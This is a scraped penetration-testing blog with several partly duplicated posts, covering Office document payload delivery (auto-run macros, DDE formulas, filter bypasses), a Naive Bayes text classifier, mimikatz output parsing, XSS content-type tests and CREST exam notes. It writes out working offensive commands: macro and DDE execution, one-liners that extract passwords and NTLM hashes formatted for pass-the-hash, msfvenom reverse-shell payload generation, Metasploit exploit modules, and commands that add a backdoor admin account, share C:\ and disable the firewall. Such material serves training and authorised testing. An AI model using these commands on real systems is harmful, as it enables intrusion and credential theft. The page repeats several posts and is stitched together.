Wednesday, 1 March 2017
Office Document Macros, OLE, Actions, DDE Payloads and Filter Bypass
There are a few different ways payloads can be delivered through Microsoft Office documents, including macros, OLE embedding, Addins, Actions and DDE. To make life easier I wanted to list them all together in one place. A lot of what is mentioned below is specific to Word, Excel or Powerpoint however don't forget that Office actually includes, Word, Excel, Powerpoint, Access, Outlook and OneNote. If a vector doesn't work in one product, try another.
When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.
Macros
Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes.
So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm and dotm, but not docx.
In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:
A nice real-world macro and OLE example using Empire is linked below:
https://enigma0x3.net/2016/03/15/phishing-with-empire/
Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.
ActiveX Components
Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.
There's a great overview of ActiveX controls at the link below:
https://www.greyhathacker.net/?p=948
The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.
OLE Embedding
After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.
To insert an object select "Insert" -> "Object":
All the user has to do is double click the embedded content and you get a shell.
Powerpoint Actions
Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.
An in-the-wild example that used an action to load an embedded payload is linked below:
https://phishme.com/powerpoint-and-custom-actions/
Dynamic Data Exchange
DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.
The formula below can be used to test in Excel, this works in both xls and xlsx:
Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.
You can also view/edit the DDE XML directly by opening your document with 7zip:
A real-world example exploiting this issue can be found below:
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/’
It's worth mentioning that I couldn't find a way to execute DDE in Word or Powerpoint. I'd be interested to know if this is possible or not.
Filter Bypasses
Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.
To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.
You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.
Two common bypasses include:
Further Research
Final Thoughts
Microsoft Office provides multiple different ways to execute code. There are still quite a few features that I feel could be exploited with more research and given how commonly used Office documents are for payload delivery I can imagine we'll see more vectors in the future.
I didn't mention prevention/detection above but from a defensive point ideally you want to block any email attachments containing a Macro or OLE. For detection it's relatively easy to spot suspicious child processes (cmd/powershell/wscript etc.) coming from Office, direct to WinAPI stuff is more complex to detect but not impossible with the right tools.
Hope you guys have found this useful, if I missed anything obvious out let me know in the comments below.
Pwndizzle out.
When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.
Macros
Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes.
So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm and dotm, but not docx.
In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:
Private Sub Workbook_Open()
Msgbox "test macro"
CreateObject("Wscript.Shell").Run "calc"
End Sub
A nice real-world macro and OLE example using Empire is linked below:
https://enigma0x3.net/2016/03/15/phishing-with-empire/
Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.
ActiveX Components
Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.
There's a great overview of ActiveX controls at the link below:
https://www.greyhathacker.net/?p=948
The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.
OLE Embedding
After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.
To insert an object select "Insert" -> "Object":
All the user has to do is double click the embedded content and you get a shell.
Powerpoint Actions
Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.
An in-the-wild example that used an action to load an embedded payload is linked below:
https://phishme.com/powerpoint-and-custom-actions/
Dynamic Data Exchange
DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.
The formula below can be used to test in Excel, this works in both xls and xlsx:
=cmd|'/c calc'!A0
Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.
You can also view/edit the DDE XML directly by opening your document with 7zip:
<ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic="/c calc"> <ddeItems> <ddeItem name="A0" advise="1"/> <ddeItem name="StdDocumentName" ole="1" advise="1"/> </ddeItems></ddeLink>
A real-world example exploiting this issue can be found below:
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/’
It's worth mentioning that I couldn't find a way to execute DDE in Word or Powerpoint. I'd be interested to know if this is possible or not.
Filter Bypasses
Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.
To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.
You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.
Two common bypasses include:
- Word doc saved as XML then renamed to doc
- Word doc saved as MHTML then renamed to doc
Further Research
- The "Fields" as well as the "Data Source/DB" feature in Word have multiple potentially interesting functions. I couldn't find a way to exploit them, maybe you can?
- In Office hyperlinks are quite interesting as they let you link to local files however you can't supply arguments. It would be interesting to see if args could be supplied somehow or links abused in another way.
Final Thoughts
Microsoft Office provides multiple different ways to execute code. There are still quite a few features that I feel could be exploited with more research and given how commonly used Office documents are for payload delivery I can imagine we'll see more vectors in the future.
I didn't mention prevention/detection above but from a defensive point ideally you want to block any email attachments containing a Macro or OLE. For detection it's relatively easy to spot suspicious child processes (cmd/powershell/wscript etc.) coming from Office, direct to WinAPI stuff is more complex to detect but not impossible with the right tools.
Hope you guys have found this useful, if I missed anything obvious out let me know in the comments below.
Pwndizzle out.
Tuesday, 30 August 2016
Random String Python Text Classifier Example
In this post I'm going to explain how to write a simple NaiveBayes text classifier in Python and provide some example code.
Machine Learning!? Awesome!!1!
My original goal was to tell the difference between regular dictionary words and random strings. I looked at using manual ngram frequency analysis and this partially worked but I wanted to try out an ML solution for comparison.
I don't have much ML experience but it was easy to build a working script using the scikit library. This library abstracts away much of the mathematical complexity and offers a quick and high level way to implement ML concepts. In just a few lines of python I was able to build a classifier with 93% accuracy.
It's worth mentioning I did not use the "bag of words" approach as I was looking at analysing the structure of individual words as opposed to sentences. Changing the CountVectorizer parameters you could look at sentences or groups of words.
Building a Classifier
Building a classifier is quite simple, you just need to collect your data, format it, vectorize it, then train your model. In my script below I pretty much follow that process. First up I read in some data using pandas. I have two csv data sets, one file has normal dictionary words, the other random words. Each row contains the type, 0 or 1 (normal or random), and then the data which is just a word. For example:
In each file I used the first 5000 words for training and the last 5000 for testing. To vectorize the words I used the CountVectorizer with the ngram function, this breaks the words up based on their ngrams and converts them to numbers.
With the data ready I used the "fit" function to train the classifier with the training data set. To measure the accuracy of the model I used the "score" function and test data set. And finally to manually test some values I used the "predict" function. In the end my classifier could function with a 93% accuracy which I thought was pretty good considering I made hardly any customisations.
I used the Multinomial Naive Bayes function as this was recommended however other algorithms may work more effectively. The classifier and vectorizer also support a number of additional parameters that can be adjusted to improve the accuracy, I modified them only slightly, further improvements could likely be made here as well.
The Code
The following requires Python 2.7, scikit, pandas and also the two csv files containing data as described above.
Running the script should give you something like the following:
Scikit Tips
If you're trying to install scikit in windows you'll need to install the relevant .whl package. In Linux I had to upgrade pip before it would install.
Final Thoughts
I was amazed how quick and easy it was to write a simple classifier, machine learning has definitely gone mainstream. I focused on finding the difference between normal and random strings however classifiers can be used to tell the difference between all kinds of data sets.
Obviously being a security blog you may be wondering why I'd be looking into text classifiers. Well when analysing data to detect attackers you'll often want to classify various activity. Performing analysis with a classifier can give some interesting results :)
Hope you guys have found this useful, any questions or comments, leave a message below.
Pwndizzle out.
Machine Learning!? Awesome!!1!
My original goal was to tell the difference between regular dictionary words and random strings. I looked at using manual ngram frequency analysis and this partially worked but I wanted to try out an ML solution for comparison.
I don't have much ML experience but it was easy to build a working script using the scikit library. This library abstracts away much of the mathematical complexity and offers a quick and high level way to implement ML concepts. In just a few lines of python I was able to build a classifier with 93% accuracy.
It's worth mentioning I did not use the "bag of words" approach as I was looking at analysing the structure of individual words as opposed to sentences. Changing the CountVectorizer parameters you could look at sentences or groups of words.
Building a Classifier
Building a classifier is quite simple, you just need to collect your data, format it, vectorize it, then train your model. In my script below I pretty much follow that process. First up I read in some data using pandas. I have two csv data sets, one file has normal dictionary words, the other random words. Each row contains the type, 0 or 1 (normal or random), and then the data which is just a word. For example:
| normal.csv | random.csv |
|---|---|
| 0,apple | 1,fdsgsdgfdg |
| 0,banana | 1,plicawq |
| 0,orange | 1,mncdlppl |
In each file I used the first 5000 words for training and the last 5000 for testing. To vectorize the words I used the CountVectorizer with the ngram function, this breaks the words up based on their ngrams and converts them to numbers.
With the data ready I used the "fit" function to train the classifier with the training data set. To measure the accuracy of the model I used the "score" function and test data set. And finally to manually test some values I used the "predict" function. In the end my classifier could function with a 93% accuracy which I thought was pretty good considering I made hardly any customisations.
I used the Multinomial Naive Bayes function as this was recommended however other algorithms may work more effectively. The classifier and vectorizer also support a number of additional parameters that can be adjusted to improve the accuracy, I modified them only slightly, further improvements could likely be made here as well.
The Code
The following requires Python 2.7, scikit, pandas and also the two csv files containing data as described above.
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
import pandas as pd
from time import time
#Start timer
t0 = time()
#Create classifier and vectorizer
clf = MultinomialNB(alpha=0.1)
vec = CountVectorizer(analyzer='char_wb', ngram_range=(2, 4), min_df=1)
#Read in wordset and vectorize words
#Training data
train_set = pd.concat(pd.read_csv(f, names=["type","word"], nrows=5000) for f in ["normal.csv","random.csv"])
train_types = train_set.type.tolist()
train_words = vec.fit_transform(train_set.word.tolist())
#Test data
test_set = pd.concat(pd.read_csv(f, names=["type","word"], skiprows=5000, nrows=5000) for f in ["normal.csv","random.csv"])
test_types = test_set.type.tolist()
test_words = vec.transform(test_set.word.tolist())
#Train classifier
clf.fit(train_words, train_types)
train_time = time() - t0
print("Training time: %0.3fs" % train_time)
#Use test data to evaluate classifier
print "Accuracy is " + str(clf.score(test_words, test_types))
test_time = time() - train_time - t0
print("Testing time: %0.3fs" % test_time)
#Classify words
testdata = ['xgrdqwlpfrr','apple']
print testdata
print clf.predict(vec.transform(testdata))
predict_time = time() - test_time - train_time - t0
print("Predict time: %0.3fs" % predict_time)
Running the script should give you something like the following:
Scikit Tips
If you're trying to install scikit in windows you'll need to install the relevant .whl package. In Linux I had to upgrade pip before it would install.
Final Thoughts
I was amazed how quick and easy it was to write a simple classifier, machine learning has definitely gone mainstream. I focused on finding the difference between normal and random strings however classifiers can be used to tell the difference between all kinds of data sets.
Obviously being a security blog you may be wondering why I'd be looking into text classifiers. Well when analysing data to detect attackers you'll often want to classify various activity. Performing analysis with a classifier can give some interesting results :)
Hope you guys have found this useful, any questions or comments, leave a message below.
Pwndizzle out.
Labels:
machine learning,
naivebayes,
python,
text classifier
Tuesday, 27 October 2015
Parse Mimikatz Output One-Liner
Love mimikatz but hate the output? Yeah me too. In this post I'll show you how to parse the output with one simple line.
Parsing the example above you get the following:
Final Thoughts
Mimikatz is such an awesome tool unfortunately the default output is not that user/grep friendly. Luckily with a simple one-liner we can easily work the output into something more useful. As mentioned in my smb-share enumeration post, don't be afraid to jump in and learn some grep/awk/sed, these tools can speed up data analysis massively!
Hopefully this post has been useful, if you have any suggestions for improvements or better ways to get usable output then leave a comment below.
Pwndizzle out.
The Output
Running either the mimikatz binary or powershell equivalent Invoke-Mimikatz will give you output similar to the following:
Authentication Id : 0 ; 92831308 (00000000:05889d8c) Session : RemoteInteractive from 3 User Name : john.smith Domain : ACME SID : S-1-5-21-2052118978-2816230894-3584936141-8335 msv : [00000003] Primary * Username : john.smith * Domain : ACME * NTLM : 1acd1a77416c50969d66867cd1e27e91 * SHA1 : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb [00010000] CredentialKeys * NTLM : 1acd1a77416c50969d66867cd1e27e91 * SHA1 : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb tspkg : wdigest : * Username : john.smith * Domain : ACME * Password : Myl0ngs3cretP@ssword kerberos : * Username : john.smith * Domain : ACME.mycompany * Password : (null) ssp : credman :In most situations you'll often just want to know the users and passwords however this is hidden among a whole load of other output. Now we could go and patch the mimikatz code or we could use a cheeky one-liner...
I Love A One-Liner
My goal was to obtain a list of all usernames with domains and passwords from a set of mimikatz output files. This is simple to do with the following one-liner:
cat *|tr -d '011円015円' |awk '/Username/ { user=0ドル; getline; domain=0ドル; getline; print user " " domain " " 0ドル}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length(12ドル)>2) print 8ドル "\\" 4ドル ":" 12ドル}'|sort -u
Parsing the example above you get the following:
ACME\john.smith:Myl0ngP@ssword jira.acme.com\john.smith@acme.com:Myj1raP@ssword
Hows it work?
I modified the one-liner to also output just the usernames and passwords without the domain:
- I start by outputting all files in the current directory and removing carriage return characters as these seemed to break awk. I also remove tab characters to clean up the output.
- Next up I used awk to effectively put the username, domain and password all on the same line. This makes greppping, cutting or more awking easier.
- I used grep to remove lines I didn't care about. For example NTLM hashes and null passwords.
- I then did a final awk to remove hex string passwords. I'm not sure how/why mimikatz generates this output, if anyone knows please leave a comment! :)
- And finally I sorted and uniqued the list.
I modified the one-liner to also output just the usernames and passwords without the domain:
cat *|tr -d '011円015円' |awk '/Username/ { user=0ドル; getline; getline; print user " " 0ドル}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length(8ドル)>2) print 4ドル ":" 8ドル}'|sort -u
john.smith:Myl0ngP@ssword john.smith@acme.com:Myj1raP@sswordAnd also output usernames and NTLM hashes ready for use with pth-winexe:
cat *|tr -d '011円015円' |awk '/Username/ { user=0ドル; getline; domain=0ドル; getline; print user " " domain " " 0ドル}'|grep -v "* LM\|* Password\|Microsoft_OC1"|awk '{if (length(12ドル)>2) print 8ドル "/" 4ドル "%aad3b435b51404eeaad3b435b51404ee:" 12ドル}'|sort -u
ACME/john.smith%aad3b435b51404eeaad3b435b51404ee:1acd1a77416c50969d66867cd1e27e91If you want a different output format just modify the final print statement.
Final Thoughts
Mimikatz is such an awesome tool unfortunately the default output is not that user/grep friendly. Luckily with a simple one-liner we can easily work the output into something more useful. As mentioned in my smb-share enumeration post, don't be afraid to jump in and learn some grep/awk/sed, these tools can speed up data analysis massively!
Hopefully this post has been useful, if you have any suggestions for improvements or better ways to get usable output then leave a comment below.
Pwndizzle out.
Thursday, 23 July 2015
XSS, Extensions and Content-Types
In this post I'll look at which Content-Types and Extensions can actually be used for XSS in modern browsers.
Why does Content-Type and Extension matter?
Applications come in many different shapes and sizes and XSS can occur all over the place. It's easy to assume that just because an application returns you a response with unfiltered/unencoded output you've found an exploitable XSS issue but this is often not the case. Browsers render content based on a number of factors including content-type returned by the server, page content and page extension, without the correct combination XSS won't be possible.
To try and get a definitive answer of what works and what doesn't I thought I'd do some testing. I used multiple file types each containing their legitimate content however I also embedded a JavaScript alert payload in each. Each test case was ran against Chrome 43, IE 11 and Firefox 39. In the tables below "yes" means the payload rendered and "no" means it didn't.
Test #1 - Following Best Practice
In the first test I forced the server to return the correct extension and content-type for each test page.
Following best practice modern browsers appeared to be pretty secure. The one exception appears to be XML, it seems odd that the browser would allow the rendering of JavaScript in an XML file.
Test #2 - Modifying Extension
In the second test I made the server return the correct content-type but forced a .html extension.
This test seemed to show that browsers will prioritize the use of the content-type over the extension.
Test #3 - Using a text/html Content-Type
In the third test I used the correct extension for each file but made the server return a text/html content-type.
It looks like browsers rely heavily on the content-type returned by the server. It doesn't matter about the extension or contents of the file, the browser will blindly follow the content-type returned.
Test #4 - Using a text/plain Content-Type
Next I used the correct extension for each file but made the server return a text/plain content-type.
When using a content-type of text/plain none of the payloads executed. I can't remember for sure, but I believe in the past text/plain used to allow XSS? Looks like this is no longer possible.
Test #5 - MIME sniffing
In this last test case I accessed a page that had no extension and received no content-type header from the server. This should have caused the browser to fall back on mime sniffing to render the page.
Both Chrome and Firefox refused to render pages that contained additional non-html content. IE however didn't seem to care what the page content was, if it contained HTML it rendered!
Conclusion
Performing application testing on a regular basis I find content-type and extension XSS issues arise quite a lot. This test showed that modern browsers are relatively secure as long as the correct content-type is returned. All browsers also seemed to implement the same analysis techniques aside from IE which seemed slightly more permissive.
Hopefully you guys have found this post useful, if anyone has any suggestions for bypasses to achieve XSS in any of the above, or if I've listed any findings incorrectly (quite possible) drop me a message below :)
Pwndizzle out.
Why does Content-Type and Extension matter?
Applications come in many different shapes and sizes and XSS can occur all over the place. It's easy to assume that just because an application returns you a response with unfiltered/unencoded output you've found an exploitable XSS issue but this is often not the case. Browsers render content based on a number of factors including content-type returned by the server, page content and page extension, without the correct combination XSS won't be possible.
To try and get a definitive answer of what works and what doesn't I thought I'd do some testing. I used multiple file types each containing their legitimate content however I also embedded a JavaScript alert payload in each. Each test case was ran against Chrome 43, IE 11 and Firefox 39. In the tables below "yes" means the payload rendered and "no" means it didn't.
In the first test I forced the server to return the correct extension and content-type for each test page.
Content-Type
|
Extension | Chrome | IE | Firefox |
|---|---|---|---|---|
| None | None | yes | yes | yes |
| text/plain | txt | no | no | no |
| text/html | html | yes | yes | yes |
| application/javascript | js | no | no | no |
| application/json | json | no | no | no |
| application/xml | xml | yes | yes | yes |
| text/css | css | no | no | no |
| image/jpeg | jpeg | no | no | no |
Following best practice modern browsers appeared to be pretty secure. The one exception appears to be XML, it seems odd that the browser would allow the rendering of JavaScript in an XML file.
Test #2 - Modifying Extension
In the second test I made the server return the correct content-type but forced a .html extension.
Content-Type
|
Extension | Chrome | IE | Firefox |
|---|---|---|---|---|
| None | html | yes | yes | yes |
| text/plain | html | no | no | no |
| text/html | html | yes | yes | yes |
| application/javascript | html | no | yes | no |
| application/json | html | no | no | no |
| application/xml | html | yes | yes | yes |
| text/css | html | no | no | no |
| image/jpeg | html | no | no | no |
This test seemed to show that browsers will prioritize the use of the content-type over the extension.
Test #3 - Using a text/html Content-Type
In the third test I used the correct extension for each file but made the server return a text/html content-type.
Content-Type
|
Extension | Chrome | IE | Firefox |
|---|---|---|---|---|
| text/html | None | yes | yes | yes |
| text/html | txt | yes | yes | yes |
| text/html | html | yes | yes | yes |
| text/html | js | yes | yes | yes |
| text/html | json | yes | yes | yes |
| text/html | xml | yes | yes | yes |
| text/html | css | yes | yes | yes |
| text/html | jpeg | yes | no | yes |
It looks like browsers rely heavily on the content-type returned by the server. It doesn't matter about the extension or contents of the file, the browser will blindly follow the content-type returned.
Test #4 - Using a text/plain Content-Type
Next I used the correct extension for each file but made the server return a text/plain content-type.
Content-Type
|
Extension | Chrome | IE | Firefox |
|---|---|---|---|---|
| text/plain | txt | no | no | no |
| text/plain | html | no | no | no |
| text/plain | js | no | no | no |
| text/plain | json | no | no | no |
| text/plain | xml | no | no | no |
| text/plain | css | no | no | no |
| text/plain | jpeg | no | no | no |
When using a content-type of text/plain none of the payloads executed. I can't remember for sure, but I believe in the past text/plain used to allow XSS? Looks like this is no longer possible.
Test #5 - MIME sniffing
In this last test case I accessed a page that had no extension and received no content-type header from the server. This should have caused the browser to fall back on mime sniffing to render the page.
MIME
| Content-Type | Extension | Chrome | IE | Firefox |
|---|---|---|---|---|---|
| text/plain | None | None | no | yes | no |
| text/html | None | None | yes | yes | yes |
| application/javascript | None | None | yes | yes | yes |
| application/json | None | None | no | yes | no |
| application/xml | None | None | no | yes | no |
| text/css | None | None | no | yes | no |
| image/jpeg | None | None | no | no | no |
Both Chrome and Firefox refused to render pages that contained additional non-html content. IE however didn't seem to care what the page content was, if it contained HTML it rendered!
Conclusion
Performing application testing on a regular basis I find content-type and extension XSS issues arise quite a lot. This test showed that modern browsers are relatively secure as long as the correct content-type is returned. All browsers also seemed to implement the same analysis techniques aside from IE which seemed slightly more permissive.
Hopefully you guys have found this post useful, if anyone has any suggestions for bypasses to achieve XSS in any of the above, or if I've listed any findings incorrectly (quite possible) drop me a message below :)
Pwndizzle out.
Thursday, 30 April 2015
How to Bypass Sky Broadband Shield
This summary is not available. Please
click here to view the post.
Wednesday, 31 December 2014
CREST CRT Exam Preparation
I'm going to be taking the CREST CRT exam in January and wanted to share my preparation notes with the world to save everyone else the time and effort of digging up this information to pass the exam.
Note: I have not taken the exam yet, I do not know the answers and am in no way affiliated with CREST.
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)
What have we gota do?
First things first, the official CREST site and CRT page is here:
http://www.crest-approved.org/information-security-testers/registered-tester/index.html
To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."
For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.
Getting hands-on!
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)
What have we gota do?
First things first, the official CREST site and CRT page is here:
http://www.crest-approved.org/information-security-testers/registered-tester/index.html
To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."
For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.
Getting hands-on!
My goal during the practical exam is to be as quick and efficient as possible. I want to minimize time spent analyzing results, configuring tools or writing custom stuff and maximize time spent answering questions! I plan to use a Windows box with Kali Linux VM. Below is my full list of tools and one-liners:
RECON AND ENUMERATION
RECON AND ENUMERATION
| Command | Description |
|---|---|
| nmap -T4 -A -Pn -oA scan -v 192.168.1.1-254 | Full scan |
| for i in 21 22 23 80 443 445;do cat scan.gnmap|grep " $i/open"|cut -d " " -f2 > $i.txt;done | Parse results into txt files per port |
| nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 192.168.1.1-254 | Check for open shares |
| dig axfr example.com @ns1.example.com | DNS zone transfer (Linux) |
| tcp.port, tcp.srcport, ip.src, ip.dst, or, and | Wireshark syntax |
| tcpdump tcp port 80 -w output.pcap -i eth0 | Tcpdump syntax |
| mount 192.168.1.1:/share /mnt/nfs | Mount an NFS share |
| mount -o nolock -t nfs -o proto=tcp,port=2049 172.16.1.1:/ /mnt | Mount an NFS share |
| mount -t cifs -o username=<user>,password=<password>,domain=example.com //WIN_PC_IP/<share name> /mnt/windows | Mount a Windows share |
| net use x: \\filesvr001\folder1 <password> /user:domain01\jsmith /savecred /p:no | Mount a Windows share |
| net use \\<target>\IPC$ "" /u:"" | Null session |
| rpcclient -U "" <target> | Null session |
| enum4linux.pl 192.168.1.20 | Retrieve domain info |
| onesixtyone -c names -i snmphosts | SNMP enum |
| snmpcheck -t 172.10.1.1 -c public | SNMP enum |
| nslookup -> set type=any -> ls -d <domain> | DNS zone transfer (Windows) |
| nmap --script=smb-check-vulns --script-args=unsafe=1 -p445 <host> | SMB vuln scan |
METASPLOIT
| Command | Description |
|---|---|
| use auxiliary/scanner/http/dir_scanner | Scan for directories |
| use auxiliary/scanner/http/jboss_vulnscan | JBoss scan |
| use exploit/multi/http/jboss_maindeployer | JBoss deploy |
| use auxiliary/scanner/mssql/mssql_login | MSSQL cred scan |
| use exploit/windows/mssql/mssql_payload | MSSQL payload |
| use auxiliary/scanner/mysql/mysql_version | MySQL version scan |
| use auxiliary/scanner/mysql/mysql_login | MySQL login |
| use auxiliary/scanner/oracle/oracle_login | Oracle login |
| use exploit/windows/dcerpc/ms03_026_dcom | eazymode |
| use exploit/windows/smb/ms06_040_netapi | eazymode |
| use exploit/windows/smb/ms08_067_netapi | eazymode |
| use exploit/windows/smb/ms09_050_smb2_negotiate_func_index | eazymode |
| run post/windows/gather/win_privs | Show privs of current user |
| use exploit/windows/local/bypassuac (check if x86/64 and set target) | Bypass uac on win7+ |
| load mimikatz -> wdigest | Dump creds |
| load incongnito -> list_tokens -> impersonate_token | Use tokens |
| use post/windows/gather/credentials/gpp | GPP |
| run post/windows/gather/local_admin_search_enum | Test other machines |
| msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe | Standalone meterpreter |
| use exploit/multi/script/web_delivery | Powershell payload delivery |
| post/windows/manage/powershell/exec_powershell | Upload and run a PS script through a session |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.1.3.19 LPORT=4444 -a x86 -f exe -e x86/shikata_ga_nai -b '\x00' -i 3 > meter.exe | Generate standalone payload |
WINDOWS COMMANDS
https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit
ipconfig /all
Displays the full information about your NIC’s.
ipconfig /displaydns
Displays your local DNS cache.
netstat -nabo
Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)
netstat -r
Displays the routing table
netstat -anob | findstr “services, process or port”
The “b” flag makes the command take longer but will output the process name using each of the connections.
netsh diag show all
{XP only} Shows information on network services and adapters
net view
Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
net view /domain
List all domains available to the host
net view /domain:otherdomain
Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’
net user %USERNAME% /domain
Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domain
Lists all of the domain users
net accounts
Prints the password policy for the local system. This can be different and superseded by the domain policy.
net accounts /domain
Prints the password policy for the domain
net localgroup administrators
Prints the members of the Administrators local group
net localgroup administrators /domain
as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domain
Prints the members of the Domain Admins group
net group “Enterprise Admins” /domain
Prints the members of the Enterprise Admins group
net group “Domain Controllers” /domain
Prints the list of Domain Controllers for the current domain
net share
Displays your currently shared SMB entries, and what path(s) they point to
net session | find / “\\”
arp -a
Lists all the systems currently in the machine’s ARP table.
route print
Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
whoami
View the current user
tasklist /v
List processes
taskkill /F /IM "cmd.exe"
Kill a process by its name
net user hacker hacker /add
Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators hacker /add
Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL /unlimited
Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive.
One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
net user username /active:yes /domain
Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
netsh firewall set opmode disable
Disables the local windows firewall
wmic useraccount get name,sid - Retrieve name and sid from command line.
LINUX COMMANDS
| Command | Description |
|---|---|
| apt-get install finger rsh-client jxplorer sipcalc | Finger not installed in Kali by default |
| apt-get install rsh-client | R-tools not installed in Kali by default |
| uname -a | Kernel version |
| cat /etc/<distro>-release | Release version |
| showrev -p | Revision |
| rlogin -l <user> <target> | rlogin |
| rsh <target> <command> | rsh |
| find / -perm +6000 -type f -exec ls -ld {} \; > setuid.txt & | Find setuid binaries |
| finger <username>@<ip> | Retrieve user info |
| mysql -h <ip> -u <user> -p <password> | Connect to mysql |
| oscanner -s <ip> -r <repfile> | Oracle scanner |
PASSWORD GUESSING
| Command | Description |
|---|---|
